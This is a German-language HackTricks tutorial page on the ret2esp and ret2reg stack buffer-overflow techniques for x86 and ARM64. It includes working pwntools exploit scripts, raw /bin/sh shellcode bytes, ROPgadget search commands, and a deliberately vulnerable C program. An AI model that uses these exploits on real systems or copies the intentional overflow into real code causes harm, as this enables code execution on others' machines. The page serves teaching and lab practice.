Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ret2esp
Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt, besteht diese Technik darin, den EIP (Instruction Pointer) durch die Adresse einer jmp esp
oder call esp
Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die ret
Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.
Wenn Address Space Layout Randomization (ASLR) in Windows oder Linux nicht aktiviert ist, ist es möglich, jmp esp
oder call esp
Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem ASLR muss man jedoch möglicherweise innerhalb des anfälligen Programms selbst nach diesen Anweisungen suchen (und man könnte PIE überwinden müssen).
Darüber hinaus stellt die Fähigkeit, den Shellcode nach der EIP-Korruption zu platzieren, anstatt in der Mitte des Stacks, sicher, dass keine push
oder pop
Anweisungen, die während des Betriebs der Funktion ausgeführt werden, mit dem Shellcode interferieren. Diese Interferenz könnte auftreten, wenn der Shellcode in der Mitte des Funktionsstacks platziert wird.
Fehlender Platz
Wenn Ihnen der Platz fehlt, um nach dem Überschreiben von RIP zu schreiben (vielleicht nur ein paar Bytes), schreiben Sie einen initialen jmp
Shellcode wie:
sub rsp, 0x30
jmp rsp
Und schreibe den Shellcode früh im Stack.
Beispiel
Du kannst ein Beispiel für diese Technik in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp mit einem finalen Exploit wie: finden.
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Sie können ein weiteres Beispiel für diese Technik in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html sehen. Es gibt einen Buffer Overflow ohne aktiviertes NX, es wird ein Gadget verwendet, um die Adresse von $esp
zu reduzieren und dann ein jmp esp;
, um zum Shellcode zu springen:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
Ähnlich, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, können wir call eax
oder jmp eax
Anweisungen nutzen (bekannt als ret2eax Technik), was eine weitere Methode bietet, um unseren Shellcode auszuführen. Genau wie eax könnte jedes andere Register, das eine interessante Adresse enthält, verwendet werden (ret2reg).
Beispiel
Sie finden einige Beispiele hier:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
wird ineax
die Adresse des Puffers speichern, in dem der Shellcode gespeichert war, undeax
wird nicht überschrieben, sodass es möglich ist, einret2eax
zu verwenden.
ARM64
Ret2sp
In ARM64 gibt es keine Anweisungen, die es ermöglichen, zum SP-Register zu springen. Es könnte möglich sein, ein Gadget zu finden, das sp in ein Register verschiebt und dann zu diesem Register springt, aber in der libc meiner Kali konnte ich kein solches Gadget finden:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Die einzigen, die ich entdeckt habe, würden den Wert des Registers ändern, in das sp kopiert wurde, bevor zu ihm gesprungen wird (so dass es nutzlos wird):
Ret2reg
Wenn ein Register eine interessante Adresse hat, ist es möglich, zu ihm zu springen, indem man einfach die geeignete Anweisung findet. Du könntest etwas verwenden wie:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
In ARM64 speichert x0
den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem auszuführenden Shellcode speichert.
Beispielcode:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Die Überprüfung der Disassemblierung der Funktion zeigt, dass die Adresse zum Puffer (anfällig für bof und vom Benutzer kontrolliert) in x0
gespeichert wird, bevor von der Pufferüberlauf zurückgegeben wird:
Es ist auch möglich, das Gadget br x0
in der do_stuff
Funktion zu finden:
Wir werden dieses Gadget verwenden, um zu ihm zu springen, da das Binary OHNE PIE kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der Offset des Pufferüberlaufs 80 beträgt, sodass der Exploit folgendermaßen aussehen würde:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Wenn anstelle von fgets
etwas wie read
verwendet worden wäre, wäre es möglich gewesen, PIE zu umgehen, indem nur die letzten 2 Bytes der Rücksprungadresse überschrieben werden, um zur br x0;
-Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen.
Mit fgets
funktioniert es nicht, da es ein Nullbyte (0x00) am Ende hinzufügt.
Schutzmaßnahmen
- NX: Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
- ASLR & PIE: Diese können es erschweren, eine Anweisung zu finden, zu der man zu esp oder einem anderen Register springen kann.
Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.